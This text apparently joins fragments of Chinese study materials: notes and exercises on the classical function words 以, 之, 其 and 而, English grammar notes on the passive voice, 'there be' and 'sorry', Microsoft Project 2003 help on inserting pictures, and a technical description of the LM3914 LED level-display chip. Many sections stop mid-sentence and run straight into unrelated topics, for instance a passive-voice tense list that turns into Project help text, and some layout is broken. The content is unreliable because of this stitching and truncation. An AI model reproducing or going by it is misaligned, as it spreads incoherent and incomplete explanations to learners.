D.余与四人拥火以人 E.以其求思之深而无不在也 F.是时以大中丞抚吴者为魏之私人 G.今以钟馨置水中，虽大风浪不能鸣也H.以至晋鄙军之日北乡自刭 三、判断“以”在文中的意义。 “秉烛夜游，良有1以也。”若2以己美于潘安，则出无伤；否则，3以如吾之容现于当衢，则恐惊人。故自当4以书卷为伴，弃夷5以近则随众而游，险以远则独不敢至之怯，慕“凌九霄6以闹天宫”之勇，从而可醉乎“木欣欣7以向荣，泉涓涓而始流”之美…… 畅游书海8以极夫天地之乐，如此，9以帝位予我，亦弃之也，岂10以一冕之故而弃心神之逸？11以吾有如此之意，故方能长享逸乐。 吾虽12以康熙六年至京师，然终未13以权贵交，14以上乃吾心之剖白，希汝能察之，故不必有“贤不见用，忠不见15以”之叹。 初中英语被动语态特点和用法 初中英语被动语态讲解，被动语态的用法及构成。初中英语学习最难的是语法，因为英语的语法跟汉语的语法有很大的不同。其中被动语态是初中英语学习的重点和难点。下面是为您收集整理的初中英语被动语态特点和用法，供大家参考! 初中英语被动语态特点和用法 一、被动语态的构成形式 1. 被动语态的基本时态变化 被动语态通常为十种时态的被动形式, 被动语态由be+过去分词构成，be随时态的变化而变化。以do为例，各种时态的被动语态形式为： 1) am/is/are +done (过去分词) 一般现在时 例Visitors are requested not to touch the exhibits. 2) has /have been done 现在完成时 例All the preparations for the task have been completed, and we're ready to start. 3) am/is /are being done 现在进行时 例A new cinema is being built here. 4) was/were done 一般过去时 例I was given ten minutes to decide whether I should reject the offer. 5) had been done 过去完成时 例 By the end of last year, another new gymnasium had been completed in Beijing. 6) was/were being done 过去进行时 例A meeting was being held when I was there. 7) shall/will be done 一般将来时 例Hundreds of jobs will be lost if the factory closes. 8) should/would be done 过去将来时 例The news would be sent to the soldier's mother as soon as it arrived. 9) shall/will have been done 将来完成时(少用) 图形或对象（对象：OLE 中不同文档和不同程序之间的共享信息（例如，图表）。对象的编辑程序和编辑方式由创建对象和对象类型的程序决定。）可以使Microsoft Office Project 2003 中的视图（视图：一个或多个视图（“甘特图”、“资源工作表”等）的组合，以及在可用情况下的表和筛选器。使用视图可处理各种格式的信息。有三种视图类型：图表或图形、工作表和窗体。）或报表（报表：用于打印对应于预期收件人的日程信息的格式。可使用Project 提供的预定义报表，也可创建自定义报表。）的外观更加完美，可帮助阐明信息或增强信息的作用，以及突出重要信息。 从其他程序中复制图片 1. 打开包含要复制图片的程序，然后使用该程序的“复制”命令复制图片。 2. 在Project 中，显示要在其中粘贴图片的图形区，再单击该图形区的内部。 3. 单击“粘贴”或按Ctrl+V。 提示 您也可以将图形图像作为链接对象来复制和粘贴。在“编辑”菜单中，单击“选择性粘贴”，再单击“粘贴链接”。Project 将选择适当的图像类型，并将其显示在“作为”列表中。若要更改图像类型，请在“作为”列表中单击其他类型。若要将图像显示为图标而不是其原来的格式，请选中“显示为图标”复选框。 插入图片或图表 1. 打开Project 文件，选择要在其中创建图片或图表的图形区。 2. 显示“插入对象”对话框： ?在任务、资源或工作分配备注中，单击“插入对象”。 ?在“甘特图”视图中，单击“插入”菜单中的“对象”。 3. 单击“新建”，然后在“对象类型”列表中选择要创建对象的类型。 4. 若要将图像显示为图标而不是其原来的格式，请选中“显示为图标”复选框。 提示 您也可以将整个图形文件作为链接对象插入。在“插入对象”对话框中，单击“由文件创建”。在“文件”框中，键入插入图片或图表的路径和文件名，或单击“浏览”来定位并 之 一、作助词用。主要用法有三种类型： 1、相当于“的”，是定语的标志。例如： ①故时有物外之趣。②菊之爱，陱后鲜有闻。③水陆草木之花。④览物之情，得无异乎？ 2、用在主谓之间，取消句子独立性，起舒缓语气作用，无实义。例如： ①予独爱莲之出淤泥而不染。②无丝竹之乱耳，无案牍之劳形。③菊，花之隐逸者也。 ④大道之行也。（《大道之行也》）译：当政治上最高理想实施的时候。 3、用在不及物动词、形容词、时间副词后起补足调音节和舒缓语气作用，无实义。 ①公将鼓之。②久之，目似暝，意暇甚。③怅恨久之。 二、作代词用。（可以代人，代事，代物） 1、人称代词，相当于现代汉语“我”、“他们”、“她们”、“它”、“它们”。例如： ①具答之。②亲戚畔之。③彼竭我盈，故克之。④又数刀毙之。 2、指示代词，相当于现代汉语“这”、“这样”“这件事”、“那”、“那样”等。例如： ①渔人甚异之。②南阳刘子骥，高尚士也，闻之。②曾不能损魁父之丘。 三、作动词用。相当于“到”、“往”、“去”。如： ①辍耕之垄上。②送杜少府之任蜀州。③又间令吴广之次所旁丛祠中。 四、语法作用。 （1）宾语前置的标志，无实义。其格式为：宾语+之+谓语。例如：①何陋之有？②宋何罪之有？ （2）定语后置标志，无实义。为了强调定语，常把定语放在中心语的后面。如：①马之千里者。 ②居庙堂之高则忧其民。 一、“之”作代词用 1、执策而临之，曰：“天下无马。”（《马说》） 2、名之者谁？山之僧智仙也。（《醉翁亭记》） 3、以其境过清，不可久居，乃记之而去。（《小石潭记》） 4、闻水声，如鸣佩环，心乐之。（《小石潭记》） 5、撤屏视之，一人、一桌、一椅、一扇、一抚尺而已。（《口技》） 6、下视其辙，登轼而望之。（《曹刿论战》） 分析以上例子可以看出，当“之”用在动词的后面，“之”的用法为代词，作它前面动词的宾语。 之用作代词，又分几种情况： （一）可以代人、代物、代事。代人多是第三人称。译为"他"（他们）、"它"（它们）。作宾语或兼语，不作主语。 例如：作《师说》以贻之。（《师说》，代人，作宾语。） 輮使之然也。（《劝学》，代物，作兼语。） 人非生而知之者。（《师说》，代事理，作宾语。） 虚词的用法及意义 一．之的用法及意义： 1) 代词，他，他们，它，它们或自称： a.公与之乘； b.公与之乘； c.陈胜佐之； d.肉食者谋之；f悉以咨之；g.属予作文以记之。2）结构助词，的：a.小大之狱b.三里之城c.天子之怒；d.物外之趣；f.古仁人之心 3）用在主谓语之间，取消句子独立性，不译，无实意： a.予独爱莲之出淤泥而不染； b.心之所向； c.孤之有孔明； d.无丝竹之乱耳，无案牍之劳形； f.虽我之死； g.日月之行； h.当余之从师也；m.髻鬟之始掠也；l.医之好治不病以为功 4）宾语前置的标志，不译，无实意，助词：a.何陋之有？b.宋何罪之有？ 5）音节助词，不译：a.公将鼓之；b.久之，目似瞑，意暇甚；c.怅恨久之 6）定语后置的标志，不译，助词： a.居庙堂之高，处江湖之远； b.马之千里者； c.北顾黄河之西流 7）动词，去，到，往： a.辍耕之垄上； b.又间令吴广之次所旁丛祠中； c.吾欲之南海；d送杜少府之任蜀州 8）表示同一关系，代词，这样的，那样的，这类的： a.魁父之丘； b.云梯之械；有良田美池桑竹之属 二、其的用法和意义： 1）代词，他，他们，它，它们（的）： a.百姓多闻其贤； b.以彰其咎； c.其妻献疑曰； d.增其旧制；f.恐前后受其敌 2）指示代词，这，那（种，个，样），其中的：a.不能名其一处；b.其一犬坐于前；c.欲穷其林；d.以其境过清；f.有蒋氏者，专其利三世矣g、其一富，其一贫；h.其人视端容寂3）副词，难道，怎么，表反问语气：a.其真无马耶？b.其如土石何？ 4）副词，表推测语气，恐怕，大概：a.其真不知马也 5）副词，表期许语气，加强语气：a.安陵君其许寡人 6）连词，如果：a.其业有不精德有不成者 三、而的用法： 1）表并列，又，并且：a、黑质而白章；b、中冠而多髯者为东坡c、起坐而喧哗者；d、报 小学阶段there be结构的特点和用法浅析 【摘要】There be句型表示“某地有某人或某物”，强调存在性。在小学阶段，它有两种常见时态，其中be有人称与数和时态的变化。本文从它的结构特点，构成、转换句型（时态，人称与数的变化）及与have/has的区别四方面浅析其用法，旨在使小学英语学习者更好地了解和掌握该句型。 【关键词】there be 时态人称与数have/has 用法 There be结构主要用以表达“某处（某事）有某人（某物）”，其基本句型为“there be+某物或某人+某地或某事”其中there是引导词，没有词义，be是谓语动词“某人或某事”是句子的主语“某地或某时”做句子的状语，多是介词短语。小学阶段在四年级上册教材中首次出现there be句型：There is a bee on the board .在期末复习时，只是读熟了此句，并未完全理解there be 句型的用法。随之，在五六年级陆续出现此句型。为了帮助学生更好的理解和应用there be句型，现从以下几个方面对there be 句型进行分析。 一、There be句型的特点 1. There be结构的特点，主语跟在be 后面，地点状语放在句末，强调置前头。如：There is a pen on the desk.有时为了强调地点，也可把介词短语放在句首。如：On the desk there is a pen. 2. Be 动词有am, is还又are,“there be 真特别,不留am只留俩,is还有are。要用is还是are,须看后面的名词是单数还是复数。若是单数或不可数名词用is ,否则就用are。was, were别忘记，它随时态的变化而变化，用was还是were，须看后面的名词是单数还是复数。若是单数或不可数名词用was ,否则就用were。如：（1）There is a girl in the classroom. （2）There is some water in the bottle. （3）There are some bananas in the box. （4）There was an old house by the river five years ago （5）There were many people in the street yesterday 3．注意：如果“be”获得主语是由and连接的两个或两个以上 文言虚词“以”的用法及判断 文言虚词“以”，是高考文言文阅读题中经常考查的一个，也是大纲和考试说明要求掌握的18个常考文言虚词之一。 【“以”的意义和用法】 一、介词 1.表示动作、行为所用或所凭借的工具、方法及其他，译为“用、拿、凭、依据、按照、用（凭）……身份”等。如：①愿以十五城请易璧。（《廉颇蔺相如列传》）（以：用）②是时以大中丞抚吴者为魏之私人。（《五人墓碑记》）（以：用……身份） 2.表示动作、行为产生的原因，可译为“因、由于”。如：且以一璧之故逆强秦之欢，不可。（《廉颇蔺相如列传》） 3.引进动作、行为发生的时间和处所，用法同“于”，可译为“在、从”。如：余以乾隆三十九年十二月，自京师乘风雪，……至于泰安。（《登泰山记》） 4.表示动作、行为的对象，可译为“和、跟”，有时可译为“率领、带领”。如：（公子）欲以客往赴秦军，与赵俱死。（《信陵君窃符救赵》） 5.宾语前置，疑问代词“何、胡、奚”等做宾语时，宾语放在“以”前面。如：“何以战”（《曹刿论战》） 二、连词 “以”作为连词，用法和“而”有较多的相同点，只是不能用于转折关系。 1.表示并列或递进关系，常用来连接动词、形容词（包括以动词、形容词为中心的短语），可译为“而、又、而且、并且”等，有时不译。如：夫夷以近，则游者众；险以远，则至者少。（《游褒禅山记》） 2.表示承接关系，“以”前的动作行为，往往是后一动作行为的手段或方式，可译为“而”或不译。如：余与四人拥火以入。（《游褒禅山记》） 3.表示目的关系，“以”后的动作行为，往往是前一动作行为的目的或结果，可译为“而、来、用来、以致”。如：余嘉其能行古道，作《师说》以贻之。（《师说》） LM3914性能特点及用法 利用集成电路LM3914及少量元件即可制成一个通用的电平显示器，靠10个LED作为输入端电平变化规律的即时显示，非常直观和方便。输入端电平信号可以是通过各类传感器和变换电路而探测的各种物理量，如电压、电流、温度、湿度、亮度、响度、音频、距离、磁场强度、重量等等，外接有关传感器或电压变换电路可应用于许多场合，使用范围非常广泛。电路图如图2所示。 一、集成电路LM3914的结构与性能 管脚排列见图（2）、内部功能见图（3）。它内部含有10个相同的电压比较器，其输出端可以分别直接驱动外接的10只发光二极管(LED l—LED l0)作条状显示或点状显示。它们的反相输入端并联在一起，并通过一个缓冲器接到输入端⑤脚。而10个同相输入端分别接到由10个精密电阻串联而成的多级分压器上。而这个分压器的两端在内部没有与其它电路或公共端相连，而是直接由⑥、④脚引出，通常将之称为悬浮式，这样使得应用电路的设计更加灵活和方便。此集成电路内部还包含一个悬浮式1.25V的标准电压源，直接由⑦、⑧脚引出。分压器两端⑥、④脚即可直接接1.25V的标准电压源，也可外接设定的其它电压值。点状或条状显示的选择方式为：⑨、⑾脚相接（或⑨脚悬空）为点状显示，⑨、③脚相接为条状显示。LM3914的电源电压范围很宽，可在3—18V范围内选择，实际应用中，通常取6—12V。 模拟信号由⑤脚输入，并经内部高输入阻抗缓冲器后加至内部10级电压比较器的反相输入端，每级电压比较器的同相输入端被一串分压电阻偏置在不同的比较电平上，由于分压电阻均为1KΩ，故10级比较器的进 地，⑥与设定的基准电压U0相 连(当然也可相连内部的 1250mV的基准电压输出端⑦ 脚)，每级分压器上的电压均为 1/10 U0，逐级比较电平分别为 1/10 U0、2/10 U0、3/10 U0、4/10 U0…… U0。当输入模拟信号小 于1/10 U0时，10级比较器均输 出高电平；当输入信号高于 1/10 U0时，则第一比较器输出 低电平，超过2/10 U0时，第二 比较器输出低电平……当信号 超过U0时，第10级比较器输出 低电平。若在这10个输出端接 上发光二极管LED，即可线性地 显示输入模拟信号的大小。 10个LED的亮度可由⑦、⑧两脚的外接电阻R来调节。通过每一个 LED的电流大致等于R中电流的10倍。1.25V标准电压源的最大输出电流 约为3mA，故通过LED的最大电流为30mA。例如当⑦、⑧脚的外接电阻 R=1.25k时，流过R的电流为lmA，则每个LED在其发光时的电流为10mA。 即：流过每个LED电流的设定公式为：Im（mA）=10×1.25/R（KΩ）。当 LED的发光效率较高时，电流可以小一些，以降低功耗。 sorry的口语用法与搭配特点 1.口语中说Sorry或I’m sorry有以下用法： (1)为自己所做的事情麻烦、打扰或伤害他人而道歉。如： Sorry I kept you waiting.对不起，让你久等了。 Sorry I didn’t phone last night—I was at the theatre.抱歉，昨天晚上我没打电话——我看戏去了。 (2)请求别人原谅自己所做的粗鲁或令人尴尬的事。如： I’m sorry,but you’re not taking my car.对不起，你不能用我的汽车。 Sorry,madam,we’re closing up for lunch.很抱歉，小姐，我们现在要关门吃午饭。 (3)用于礼貌地打断别人的话。如： I’m sorry,but I’m going to interrupt.我很抱歉，但我要打扰一下。 (4)用于礼貌地表示没听清对方的话或请求对方重复所说的内容。如： Sorry,I didn’t quite catch what you said.对不起，我没听清你的话。 (5)用于纠正自己在讲话中的错误。如： You need to catch the number3,sorry,the number23bus to Market Street.你需要乘坐3路，哦不是，是23路公共汽车去市场街。 2.口语中说I’m sorry,but…（对不起，……），其中的but不宜换成and。如： I’m sorry,but I don’t share your opinion.对不起，您的意见我不能同意。 I am sorry,but I can’t hear you.对不起，我听不见你说的话。 3.用于say sorry to，表示“向……道歉”。如 Susan said sorry to Jim with confession.苏珊满面羞容地向吉姆道歉。 I have to say sorry to you.Our manager is away on business.很抱歉，我们经理出差了。介词from的语法特点与用法习惯
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